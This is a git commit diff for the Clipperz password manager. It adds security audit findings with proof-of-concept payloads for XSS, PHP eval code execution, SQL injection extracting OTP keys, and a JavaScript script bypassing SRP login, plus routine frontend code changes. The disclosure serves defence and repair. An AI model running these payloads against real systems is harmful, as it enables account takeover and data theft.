Merge branch 'import'
Conflicts: frontend/delta/css/clipperz.css frontend/delta/css/clipperz.css.map frontend/delta/scss/core/layout.scss frontend/delta/scss/core/mixin.scss
This commit is contained in:
commit
83b40aea50
63
doc/Vulnerabilities/CLP-01-001.txt
Normal file
63
doc/Vulnerabilities/CLP-01-001.txt
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
CLP-01-001 DOMXSS in Clipperz Bookmarklet via benign HTML Injection (Medium)
|
||||||
|
|
||||||
|
Insecure concatenation of HTML strings in the Clipperz bookmarklet core
|
||||||
|
lead to possibilities for an attacker, to turn a harmless injection on a
|
||||||
|
victim website into an XSS as soon as a user activates the bookmarklet.
|
||||||
|
The bookmarklet contains injectable code that allows arbitrary
|
||||||
|
JavaScript execution from a harmless injection as shown below:
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
(run Clipperz Bookmarklet on this website)
|
||||||
|
<body>
|
||||||
|
<form action=''>
|
||||||
|
<input name='username' type='text'>
|
||||||
|
<input name='</textarea><img src=x onerror=alert(domain)>' type='password'>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
Affected HTML:
|
||||||
|
<textarea style="border:2px solid #333366; font-family:sans-serif;
|
||||||
|
font-size:8pt; color:#336; width:240px; height:135px; padding:4px;
|
||||||
|
background-color:white; margin:0px 10px;"
|
||||||
|
id="bookmarklet_textarea">{"page": {"title": ""},
|
||||||
|
"form": {"attributes": {"action": "http://0x0/Test/",
|
||||||
|
"method": null},
|
||||||
|
"inputs": [{"type": "text",
|
||||||
|
"name": "username",
|
||||||
|
"value": "root"},
|
||||||
|
{"type": "password",
|
||||||
|
"name": "</textarea><img onerror="alert(domain)" src="x">",
|
||||||
|
"value": "k4n0n3!?"}]},
|
||||||
|
"version": "0.2.3"}</div>
|
||||||
|
|
||||||
|
Affected Code:
|
||||||
|
innerHTML+="<textarea id=\"bookmarklet_textarea\" style=\"border:2px
|
||||||
|
solid #333366; font-family:sans-serif; font-size:8pt; color:#336;
|
||||||
|
width:240px; height:135px; padding:4px; background-color:white;
|
||||||
|
margin:0px 10px;\">"+sj(someParameters)+"</textarea>";}
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
sj=function(o){var
|
||||||
|
objtype=typeof(o);if(objtype=="number"||objtype=="boolean"){return
|
||||||
|
o+"";}else if(o===null){return"null";} if(objtype=="string"){return
|
||||||
|
rs(o);} var
|
||||||
|
me=arguments.callee;if(objtype!="function"&&typeof(o.length)=="number"){var
|
||||||
|
res=[];for(var i=0;i<o.length;i++){var
|
||||||
|
val=me(o[i]);if(typeof(val)!="string"){val="undefined";} res.push(val);}
|
||||||
|
return"["+res.join(",\n")+"]";}
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
rs=function(o){return("\""+o.replace(/([\"\\])/g,"\\$1")+"\"").replace(/[\f]/g,"\\f").replace(/[\b]/g,"\\b").replace(/[\n]/g,"\\n").replace(/[\t]/g,"\\t").replace(/[\r]/g,"\\r");}
|
||||||
|
|
||||||
|
Any form of HTML, even content of HTML element attributes must be
|
||||||
|
considered an attack vector. Currently, Clipperz does a good job in
|
||||||
|
terms of encoding HTML element value attributes, yet other attribute
|
||||||
|
types are not escaped, encoded or filtered at all. This lead to the
|
||||||
|
identification of this and other bugs, specifically CLP-01-014 and
|
||||||
|
CLP-01-015.
|
||||||
|
|
||||||
|
It needs to be made sure, that any form of user controlled data is being
|
||||||
|
processed safely before displaying the resulting data. HTML special
|
||||||
|
characters need to be encoded to their respected entity representation
|
||||||
|
before displaying them.
|
52
doc/Vulnerabilities/CLP-01-002.txt
Normal file
52
doc/Vulnerabilities/CLP-01-002.txt
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
CLP-01-002 Remote Code Execution in PHP Backend (Critical)
|
||||||
|
|
||||||
|
The PHP backend is vulnerable to Remote Code Execution attacks. In the
|
||||||
|
file setup/rpc.php, the name of a class can be specified in the
|
||||||
|
parameter objectname of which an object is later instantiated within an
|
||||||
|
eval() statement.
|
||||||
|
|
||||||
|
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
|
||||||
|
[...]
|
||||||
|
eval ('$instance = new '.$objectName.'();');
|
||||||
|
[...]
|
||||||
|
switch($action)
|
||||||
|
{
|
||||||
|
case 'Add':
|
||||||
|
eval ('$instance = new '.$objectName.'();');
|
||||||
|
[...]
|
||||||
|
case 'Delete':
|
||||||
|
eval ('$instance = new '.$objectName.'();');
|
||||||
|
[...]
|
||||||
|
case 'Update':
|
||||||
|
eval ('$instance = new '.$objectName.'();');
|
||||||
|
|
||||||
|
function RefreshTree($objectName, $root, $offset = '', $limit = '')
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
eval ('$instance = new '.$objectName.'();');
|
||||||
|
|
||||||
|
An attacker can add arbitrary PHP code to the objectname parameter that
|
||||||
|
is then executed on the web server. This allows to fully compromise the
|
||||||
|
web server and its data.
|
||||||
|
|
||||||
|
/setup/rpc.php?objectname=stdClass();system(?whoami?);phpinfo
|
||||||
|
|
||||||
|
Note that the setup routine can be protected by a password (empty by
|
||||||
|
default) but the affected file setup/rpc.php does not include the file
|
||||||
|
setup_library/authentication.php that performs the actual authentication
|
||||||
|
check. Thus, the attack can be executed by any user as long as the setup
|
||||||
|
directory exists.
|
||||||
|
|
||||||
|
PHP allows to dynamically call methods and constructors without using
|
||||||
|
the eval() operator by using reflection. Here, no execution of arbitrary
|
||||||
|
PHP code is possible.
|
||||||
|
|
||||||
|
$instance = new $objectName();
|
||||||
|
|
||||||
|
However, arbitrary constructors can be accessed that can lead to
|
||||||
|
unwanted behavior. Thus, the objectName parameter should be validated
|
||||||
|
against a whitelist which is already available in the $objects array
|
||||||
|
filled in line 28. Other names should be rejected by the application.
|
||||||
|
|
||||||
|
if(!in_array($objectName, $objects))
|
||||||
|
exit;
|
75
doc/Vulnerabilities/CLP-01-003.txt
Normal file
75
doc/Vulnerabilities/CLP-01-003.txt
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
CLP-01-003 SQL Injection in PHP Backend (High)
|
||||||
|
|
||||||
|
The PHP backend is vulnerable to SQL injection attacks. The method
|
||||||
|
GetList() of the object class user, record, recordversion,
|
||||||
|
onetimepasswordstatus, and onetimepassword does not sanitize its
|
||||||
|
parameters sufficiently before adding these to a dynamically constructed
|
||||||
|
SQL query. Affected are the $sortBy and $limit parameter.
|
||||||
|
|
||||||
|
function GetList($fcv_array = array(), $sortBy='', $ascending=true,
|
||||||
|
$limit='') {
|
||||||
|
$sqlLimit = ($limit != '' ? "LIMIT $limit" : '');
|
||||||
|
$this->pog_query = "select * from `onetimepassword` ";
|
||||||
|
[...]
|
||||||
|
$this->pog_query .= " order by ".$sortBy." ".($ascending ? "asc" :
|
||||||
|
"desc")." $sqlLimit";
|
||||||
|
$cursor = Database::Reader($this->pog_query, $connection);
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
|
||||||
|
A vulnerable call of this method can be found in the function
|
||||||
|
RefreshTree() of the file setup/rpc.php. Its first parameter is passed
|
||||||
|
to the $sortBy parameter and the two last parameters are passed
|
||||||
|
concatenated to the $limit parameter of the vulnerable GetList() method.
|
||||||
|
|
||||||
|
function RefreshTree($objectName, $root, $offset = '', $limit = '') {
|
||||||
|
$sqlLimit = "$offset, $limit";
|
||||||
|
$instanceList = $instance->GetList(
|
||||||
|
array(array(strtolower($objectName)."Id",">",0)),
|
||||||
|
strtolower($objectName)."Id",
|
||||||
|
false,
|
||||||
|
$sqlLimit
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
The function RefreshTree() is called with unsanitized parameters when
|
||||||
|
the GET parameter action is set to Refresh.
|
||||||
|
|
||||||
|
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
|
||||||
|
$limit = isset($_REQUEST['limit']) ? $_REQUEST['limit'] : '';
|
||||||
|
$offset = isset($_REQUEST['offset']) ? $_REQUEST['offset'] : '';
|
||||||
|
$action = $_GET['action'];
|
||||||
|
switch($action) {
|
||||||
|
case 'Refresh':
|
||||||
|
RefreshTree($objectName, $root, $offset, $limit);
|
||||||
|
}
|
||||||
|
|
||||||
|
An attacker is able to extract arbitrary data from the database,
|
||||||
|
including user data and OTP keys.
|
||||||
|
|
||||||
|
/setup/rpc.php?action=Refresh&objectname=user&offset=1&limit=1 union
|
||||||
|
select onetimepasswordid,userid,reference,key,key_checksum,data,7,8,9
|
||||||
|
from clipperz.onetimepassword
|
||||||
|
|
||||||
|
The construction of the WHERE clause from the parameter $fcv_array in
|
||||||
|
the GetList() method is also potentially affected by SQL injection.
|
||||||
|
Here, expected numeric values are added to the SQL query without
|
||||||
|
escaping or type-casting.
|
||||||
|
|
||||||
|
if(isset($this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'])
|
||||||
|
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
|
||||||
|
'NUMERIC'
|
||||||
|
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
|
||||||
|
'SET') {
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
value = POG_Base::IsColumn($fcv_array[$i][2]) ? $fcv_array[$i][2] :
|
||||||
|
"'".$fcv_array[$i][2]."'";
|
||||||
|
$this->pog_query .= "`".$fcv_array[$i][0]."` ".$fcv_array[$i][1]." ".$value;
|
||||||
|
}
|
||||||
|
|
||||||
|
Expected numeric values should be converted to integer before embedding
|
||||||
|
them into the SQL query. Otherwise, an attacker is able to break out of
|
||||||
|
the single quotes and inject her own SQL syntax. For more security it is
|
||||||
|
highly recommended to use prepared statements, as done in the Python and
|
||||||
|
Java backend.
|
69
doc/Vulnerabilities/CLP-01-014.txt
Normal file
69
doc/Vulnerabilities/CLP-01-014.txt
Normal file
@ -0,0 +1,69 @@
|
|||||||
|
CLP-01-014 Persistent XSS via Direct Login from Bookmarklet (Critical)
|
||||||
|
|
||||||
|
Caused by missing output filtering, an attacker can abuse the
|
||||||
|
Bookmarklet in combination with the creation of a new card of type
|
||||||
|
?Direct Login? to persistently infect a Clipperz account and get full
|
||||||
|
and transparent access to all data stored in the account including
|
||||||
|
passwords, keystrokes and other sensitive data.
|
||||||
|
|
||||||
|
Steps to Reproduce:
|
||||||
|
Navigate to a maliciously prepared Website
|
||||||
|
Use the Clipperz Bookmarklet
|
||||||
|
Copy the generated JSON to create a Card
|
||||||
|
Navigate to the Clipperz application
|
||||||
|
Create a new card of type ?Direct Login?
|
||||||
|
Paste the content and save (First XSS is triggerd)
|
||||||
|
Create the card (Second XSS is triggered)
|
||||||
|
|
||||||
|
Anytime the affected user navigates to the malicious card, the injected
|
||||||
|
JavaScript is executed. This thereby effectively ?trojanizes? the entire
|
||||||
|
Clipperz account and gives an attacker access to any of the stored cards
|
||||||
|
and related passwords in plaintext.
|
||||||
|
|
||||||
|
Example Markup for malicious page:
|
||||||
|
<body>
|
||||||
|
<form action=''>
|
||||||
|
<input name='username' type='text'>
|
||||||
|
<input name='password' type='password'>
|
||||||
|
<input name='"><img src=x onerror=alert(domain)>' value='bla'>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
Resulting JSON:
|
||||||
|
{"page": {"title": ""},
|
||||||
|
"form": {"attributes": {"action": "http://attacked/",
|
||||||
|
"method": null},
|
||||||
|
"inputs": [{"type": "text",
|
||||||
|
"name": "username",
|
||||||
|
"value": "root"},
|
||||||
|
{"type": "password",
|
||||||
|
"name": "password",
|
||||||
|
"value": ""},
|
||||||
|
{"type": "text",
|
||||||
|
"name": "\"><img src=x onerror=alert(domain)>",
|
||||||
|
"value": "bla"}]},
|
||||||
|
"version": "0.2.3"}
|
||||||
|
|
||||||
|
Affected Markup in Clipperz application:
|
||||||
|
<tr id="elgen-1630"><td
|
||||||
|
class="directLoginBindingLabelTD"><span>"><img src=x
|
||||||
|
onerror=alert(domain)></span></td><td
|
||||||
|
class="directLoginBindingValueTD"><div style="display: none;"
|
||||||
|
id="Clipperz_PM_Components_Panels_editModeBox_3947"><select
|
||||||
|
id="Clipperz_PM_Components_Panels_select_3948"><option
|
||||||
|
value="null">---</option><option
|
||||||
|
value="014ab7a3d138834f883b0742857cd906fd1902e5c42303348fa181eb568695c1">username</option><option
|
||||||
|
value="8e63b43adc66c2efb1ad9b61aa0e7184f12545eeb163ce076cbae05d5d6e0a45">password</option><option
|
||||||
|
value="01a2b7d792deb70d98ad5f1bb0b3afd89de20554ba606be2662531c20dd6fd48"
|
||||||
|
selected="true">"><img src=x
|
||||||
|
onerror=alert(domain)></option></select></div><div style="display:
|
||||||
|
block;" id="Clipperz_PM_Components_Panels_viewModeBox_3949"><span
|
||||||
|
id="Clipperz_PM_Components_Panels_viewValue_3950">"><img src="x"
|
||||||
|
onerror="alert(domain)"></span></div></td></tr>
|
||||||
|
|
||||||
|
It is highly recommended to escape and filter any output and consider
|
||||||
|
the pages to pull login data from to be an adversary as well. Especially
|
||||||
|
the content of the name field and other attributes of form elements
|
||||||
|
should not be considered trusted as they can contain malicious data -
|
||||||
|
similar to the form element?s value. All special HTML characters need to
|
||||||
|
be converted into their corresponding HTML entities before displaying
|
||||||
|
them to the user.
|
62
doc/Vulnerabilities/CLP-01-015.txt
Normal file
62
doc/Vulnerabilities/CLP-01-015.txt
Normal file
@ -0,0 +1,62 @@
|
|||||||
|
CLP-01-015 Persistent XSS on Index Page via Direct Login Favicon (Critical)
|
||||||
|
|
||||||
|
Similar to the issue described in CLP-01-014, a persistent XSS can be
|
||||||
|
triggered using the Direct Login feature. Clipperz attempts to load the
|
||||||
|
favicon of the linked website and display its URL inside the src
|
||||||
|
attribute of an IMG element. An attacker can cause the bookmarklet to
|
||||||
|
deliver a maliciously prepared URL that, in conjunction with the favicon
|
||||||
|
display, leads to an XSS attack.
|
||||||
|
|
||||||
|
Note that this attack is capable of executing arbitrary attacker
|
||||||
|
controlled JavaScript right after the victim logged in, because the
|
||||||
|
vulnerable element is being shown on the index page. It is further
|
||||||
|
possible to create a malicious page that will fill the bookmarklet?s
|
||||||
|
textarea with arbitrary content. The victim would have no way to detect
|
||||||
|
that something was injected and will willingly copy & paste it into the
|
||||||
|
clippers application?s card creator form.
|
||||||
|
|
||||||
|
Steps to reproduce:
|
||||||
|
Copy malicious JSON into card editor for ?Direct Login?
|
||||||
|
Create the card
|
||||||
|
Logout
|
||||||
|
Log in again
|
||||||
|
Attacker?s JavaScript executes
|
||||||
|
|
||||||
|
Example JSON to inject the payload:
|
||||||
|
{"page": {"title": ""},
|
||||||
|
"form": {"attributes": {"action": "javascript://\"onload=alert(1)//",
|
||||||
|
"method": null},
|
||||||
|
"inputs": [{"type": "text",
|
||||||
|
"name": "username",
|
||||||
|
"value": ""},
|
||||||
|
{"type": "password",
|
||||||
|
"name": "password",
|
||||||
|
"value": ""}]},
|
||||||
|
"version": "0.2.3"}
|
||||||
|
|
||||||
|
Affected Markup in Clipperz application:
|
||||||
|
<img
|
||||||
|
id="6a103aa5ab36f0c34cebde816f468bfd9550ca5bbbce67470a0ec58ec7ea1a4b_faviconIMG"
|
||||||
|
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
|
||||||
|
onload="alert(1)///favicon.ico""></td><td valign="top"><a
|
||||||
|
class="directLoginItemTitle">adadadsadsa</a></td><td align="right"
|
||||||
|
valign="top"><a
|
||||||
|
class="directLoginItemEditButton">show</a></td></tr></tbody></table></li><li
|
||||||
|
class=" "
|
||||||
|
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4"><table
|
||||||
|
border="0" cellpadding="0" cellspacing="0"><tbody><tr><td align="center"
|
||||||
|
valign="top" width="20"><img
|
||||||
|
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4_faviconIMG"
|
||||||
|
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
|
||||||
|
onload="alert(1)///favicon.ico""></td><td valign="top"><a
|
||||||
|
class="directLoginItemTitle">unnamed record</a></td><td align="right"
|
||||||
|
valign="top"><a class="directLoginItemEditButton">show</a>
|
||||||
|
|
||||||
|
It must be ensured that any form of user controlled data is being
|
||||||
|
filtered and encoded properly. It has shown, that the JSON processing
|
||||||
|
for direct logins is a particularly vulnerable element of the Clipperz
|
||||||
|
application and deserves special attention. We believe, that the
|
||||||
|
bookmarklet is easily exposed to injection attacks and that the content
|
||||||
|
of the textarea for direct login data is a dangerous and easy to exploit
|
||||||
|
attack vector and needs to be treated as such by the Clipperz
|
||||||
|
application upon processing its data.
|
20
doc/Vulnerabilities/CLP-01-016.txt
Normal file
20
doc/Vulnerabilities/CLP-01-016.txt
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
CLP-01-016 SRP implementation vulnerable to known attacks (High)
|
||||||
|
|
||||||
|
The Clipperz application implements the Secure Remote Password protocol
|
||||||
|
for authentication. The implementation adheres to the original protocol
|
||||||
|
specification from 1998 and is not standardized. The third revision
|
||||||
|
(SRP-3) is described in RFC2459, and has since revised several times to
|
||||||
|
prevent against attacks. Two attacks, ?two-for-one? guessing attack and
|
||||||
|
message ordering attack, are detailed in the paper ?SRP-6 Improvements
|
||||||
|
and Refinements of the Secure Remote Password Protocol?. The latest
|
||||||
|
revision of the protocol SRP-6 is being standardized in IEEE P1363 and
|
||||||
|
ISO/IEC 11770-4.
|
||||||
|
|
||||||
|
Specifically, the implementation is missing the k value introduced in
|
||||||
|
SRP-6 to prevent the ?two-for-one? attack. The k value is used on the
|
||||||
|
server side to compute B=kv+gb and on the client side to compute
|
||||||
|
S=(B-kgx)(a+ux). Also, the exchange of messages follows the SRP-3
|
||||||
|
optimized ordering, not the standard or optimized message ordering of
|
||||||
|
SRP-6, which was introduced to prevent a message ordering attack. Note
|
||||||
|
also that the computation of M1=H(A | B | K) does not adhere to
|
||||||
|
M1=H(H(N) XOR H(g) | H(I) | s | A | B | K) as specified by the standard.
|
88
doc/Vulnerabilities/CLP-01-017.txt
Normal file
88
doc/Vulnerabilities/CLP-01-017.txt
Normal file
@ -0,0 +1,88 @@
|
|||||||
|
CLP-01-017 SRP Authentication Bypass (Critical)
|
||||||
|
|
||||||
|
The Clipperz application implements the Secure Remote Password protocol
|
||||||
|
for authentication. The specification explicitly states that the
|
||||||
|
parameter A provided by the client must not be zero. The Clipperz
|
||||||
|
implementation omits this check, which makes password verification
|
||||||
|
trivial to bypass.
|
||||||
|
|
||||||
|
According to the SRP-6 specification, the shared secret is on the server
|
||||||
|
side calculated as (Avu)b where A is supplied by the client. If A is
|
||||||
|
zero the result is also zero, and the resulting shared key is H(0). The
|
||||||
|
corresponding proof can easily be calculated by the attacker as H(0 | B
|
||||||
|
| H(0)). The following JavaScript function can be run in the console
|
||||||
|
when on the Clipperz login page. While the page itself is not updated,
|
||||||
|
the resulting JSON response clearly indicates a successful login.
|
||||||
|
|
||||||
|
SRP authentication bypass PoC:
|
||||||
|
|
||||||
|
(function PoC(){
|
||||||
|
function send(m,p){
|
||||||
|
x=new XMLHttpRequest();
|
||||||
|
x.open('post','/json',false);
|
||||||
|
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
|
||||||
|
x.send('method='+m+'¶meters='+urlEncode(JSON.stringify(p)));
|
||||||
|
return JSON.parse(x.responseText);
|
||||||
|
}
|
||||||
|
r=send('knock',{"requestType":"CONNECT"});
|
||||||
|
|
||||||
|
r=send('handshake',{"parameters":
|
||||||
|
{"message":"connect",
|
||||||
|
"version":"0.2",
|
||||||
|
"parameters":
|
||||||
|
|
||||||
|
{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
|
||||||
|
"A":"0"}},
|
||||||
|
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
|
||||||
|
|
||||||
|
B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
|
||||||
|
S=new Clipperz.ByteArray("0")
|
||||||
|
K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
|
||||||
|
M1=new Clipperz.ByteArray("0"+B+K)
|
||||||
|
M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
|
||||||
|
return send('handshake',{"parameters":
|
||||||
|
{"message":"credentialCheck",
|
||||||
|
"version":"0.2",
|
||||||
|
"parameters":{"M1":M1}},
|
||||||
|
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
|
||||||
|
})()
|
||||||
|
|
||||||
|
Example JSON response:
|
||||||
|
|
||||||
|
{"result":
|
||||||
|
{"subscription":
|
||||||
|
{"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
|
||||||
|
"features":["OFFLINE_COPY","LIST_CARDS"],
|
||||||
|
"toDate":"Mon, 01 January 4001 00:00:00 UTC",
|
||||||
|
"type":"EARLY_ADOPTER"},
|
||||||
|
"loginInfo":
|
||||||
|
{"current":
|
||||||
|
{"operatingSystem":"LINUX",
|
||||||
|
"disconnectionType":"STILL_CONNECTED",
|
||||||
|
"browser":"FIREFOX",
|
||||||
|
"connectionType":"LOGIN",
|
||||||
|
"date":"Tue, 06 May 2014 03:09:28 UTC",
|
||||||
|
"country":"SE",
|
||||||
|
"ip":"83.248.183.26"},
|
||||||
|
"latest":
|
||||||
|
{"operatingSystem":"LINUX",
|
||||||
|
"disconnectionType":"SESSION_EXPIRED",
|
||||||
|
"browser":"FIREFOX",
|
||||||
|
"connectionType":"LOGIN",
|
||||||
|
"date":"Tue, 06 May 2014 02:16:36 UTC",
|
||||||
|
"country":"SE",
|
||||||
|
"ip":"83.248.183.26"}},
|
||||||
|
"connectionId":
|
||||||
|
"35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
|
||||||
|
"lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
|
||||||
|
"offlineCopyNeeded":true,
|
||||||
|
"M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
|
||||||
|
"toll":
|
||||||
|
{"targetValue":
|
||||||
|
"2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
|
||||||
|
"requestType":"MESSAGE",
|
||||||
|
"cost":2}
|
||||||
|
}
|
||||||
|
|
||||||
|
To mitigate the issue sufficiently, the server needs to verify that A
|
||||||
|
cannot be 0 so the attack cannot be carried out.
|
6
frontend/delta/fonts/icons/logo.svg
Normal file
6
frontend/delta/fonts/icons/logo.svg
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" clip-rule="evenodd" stroke-miterlimit="10" viewBox="440.19 329.29 76.14 72.20">
|
||||||
|
<desc>SVG generated by Lineform</desc>
|
||||||
|
<defs/>
|
||||||
|
<path d="M 487.26 353.66 L 487.26 329.79 L 468.36 329.79 L 468.36 353.66 L 447.21 345.11 L 440.83 363.30 L 462.69 370.67 L 448.72 389.20 L 464.55 400.78 L 477.58 381.06 L 491.92 400.78 L 507.51 389.20 L 493.17 370.67 L 515.69 363.12 L 509.31 344.93 Z M 526.25 492.82 " fill-rule="non-zero" fill="#000000" stroke="#000000" stroke-width="0.25"/>
|
||||||
|
</svg>
|
After Width: | Height: | Size: 627 B |
@ -85,6 +85,7 @@ Clipperz_normalizedNewLine = '\x0d\x0a';
|
|||||||
</div>
|
</div>
|
||||||
<span class="icon done" style="display:none">done</span>
|
<span class="icon done" style="display:none">done</span>
|
||||||
<span class="icon failed" style="display:none">failed</span>
|
<span class="icon failed" style="display:none">failed</span>
|
||||||
|
<span class="progressBar" style="display:none"><span class="progress"></span></span>
|
||||||
<span class="title">loading</span>
|
<span class="title">loading</span>
|
||||||
<div class="mask hidden"></div>
|
<div class="mask hidden"></div>
|
||||||
</div>
|
</div>
|
||||||
|
@ -233,6 +233,8 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.DirectLogin, Object, {
|
|||||||
|
|
||||||
'serializedData': function () {
|
'serializedData': function () {
|
||||||
return Clipperz.Async.collectResults("DirectLogin.serializedData", {
|
return Clipperz.Async.collectResults("DirectLogin.serializedData", {
|
||||||
|
'favicon': MochiKit.Base.method(this,'favicon'),
|
||||||
|
'label': MochiKit.Base.method(this,'label'),
|
||||||
'bookmarkletVersion': MochiKit.Base.method(this, 'getValue', 'bookmarkletVersion'),
|
'bookmarkletVersion': MochiKit.Base.method(this, 'getValue', 'bookmarkletVersion'),
|
||||||
'formData': MochiKit.Base.method(this, 'getValue', 'formData'),
|
'formData': MochiKit.Base.method(this, 'getValue', 'formData'),
|
||||||
'formValues': MochiKit.Base.method(this, 'getValue', 'formValues'),
|
'formValues': MochiKit.Base.method(this, 'getValue', 'formValues'),
|
||||||
|
@ -316,6 +316,36 @@ console.log("Record.Version.hasPendingChanges");
|
|||||||
* /
|
* /
|
||||||
},
|
},
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
// TODO: this function may mix up the order of the fields
|
||||||
|
'exportFields': function() {
|
||||||
|
var deferredResult;
|
||||||
|
var fields;
|
||||||
|
|
||||||
|
deferredResult = new Clipperz.Async.Deferred('Record.Version.export', {trace:false});
|
||||||
|
deferredResult.addMethod(this,'fields');
|
||||||
|
deferredResult.addCallback(MochiKit.Base.values);
|
||||||
|
deferredResult.addCallback(MochiKit.Base.map, function(fieldIn) {
|
||||||
|
return fieldIn.content();
|
||||||
|
});
|
||||||
|
deferredResult.addCallback(Clipperz.Async.collectAll);
|
||||||
|
deferredResult.addCallback(function(listIn) {
|
||||||
|
// return listIn.reduce(function(result, field) {
|
||||||
|
return MochiKit.Iter.reduce(function(result, field) {
|
||||||
|
var ref = field.reference;
|
||||||
|
result[ref] = field;
|
||||||
|
delete result[ref].reference;
|
||||||
|
return result;
|
||||||
|
}, listIn, {});
|
||||||
|
});
|
||||||
|
|
||||||
|
deferredResult.callback();
|
||||||
|
|
||||||
|
return deferredResult;
|
||||||
|
},
|
||||||
|
|
||||||
//=========================================================================
|
//=========================================================================
|
||||||
__syntaxFix__: "syntax fix"
|
__syntaxFix__: "syntax fix"
|
||||||
});
|
});
|
||||||
|
@ -45,9 +45,7 @@ Clipperz.PM.DataModel.Record = function(args) {
|
|||||||
this._createNewDirectLoginFunction = args.createNewDirectLoginFunction || null;
|
this._createNewDirectLoginFunction = args.createNewDirectLoginFunction || null;
|
||||||
|
|
||||||
this._tags = [];
|
this._tags = [];
|
||||||
|
|
||||||
this._directLogins = {};
|
this._directLogins = {};
|
||||||
|
|
||||||
this._versions = {};
|
this._versions = {};
|
||||||
|
|
||||||
this._currentRecordVersion = null;
|
this._currentRecordVersion = null;
|
||||||
@ -163,34 +161,20 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
|
|||||||
|
|
||||||
//............................................................................
|
//............................................................................
|
||||||
|
|
||||||
'tagRegExp': function () {
|
'extractLabelFromFullLabel': function (aValue) {
|
||||||
return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
|
return Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aValue);
|
||||||
},
|
},
|
||||||
|
|
||||||
'trimSpacesRegExp': function () {
|
'extractTagsFromFullLabel': function (aLabel) {
|
||||||
return new RegExp('^\\s+|\\s+$', 'g');
|
return Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aLabel);
|
||||||
},
|
},
|
||||||
|
|
||||||
// 'tagCleanupRegExp': function () {
|
|
||||||
// return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagSpace, 'g');
|
|
||||||
// },
|
|
||||||
|
|
||||||
//............................................................................
|
//............................................................................
|
||||||
|
|
||||||
'filterOutTags': function (aValue) {
|
|
||||||
var value;
|
|
||||||
|
|
||||||
value = aValue;
|
|
||||||
value = value.replace(this.tagRegExp(), '');
|
|
||||||
value = value.replace(this.trimSpacesRegExp(), '');
|
|
||||||
|
|
||||||
return value;
|
|
||||||
},
|
|
||||||
|
|
||||||
'label': function () {
|
'label': function () {
|
||||||
return Clipperz.Async.callbacks("Record.label", [
|
return Clipperz.Async.callbacks("Record.label", [
|
||||||
MochiKit.Base.method(this, 'fullLabel'),
|
MochiKit.Base.method(this, 'fullLabel'),
|
||||||
MochiKit.Base.method(this, 'filterOutTags')
|
MochiKit.Base.method(this, 'extractLabelFromFullLabel')
|
||||||
], {trace:false});
|
], {trace:false});
|
||||||
},
|
},
|
||||||
|
|
||||||
@ -211,22 +195,6 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
|
|||||||
|
|
||||||
//.........................................................................
|
//.........................................................................
|
||||||
|
|
||||||
'extractTagsFromFullLabel': function (aLabel) {
|
|
||||||
var tagRegEx;
|
|
||||||
var result;
|
|
||||||
var match;
|
|
||||||
|
|
||||||
result = {};
|
|
||||||
tagRegEx = this.tagRegExp();
|
|
||||||
match = tagRegEx.exec(aLabel);
|
|
||||||
while (match != null) {
|
|
||||||
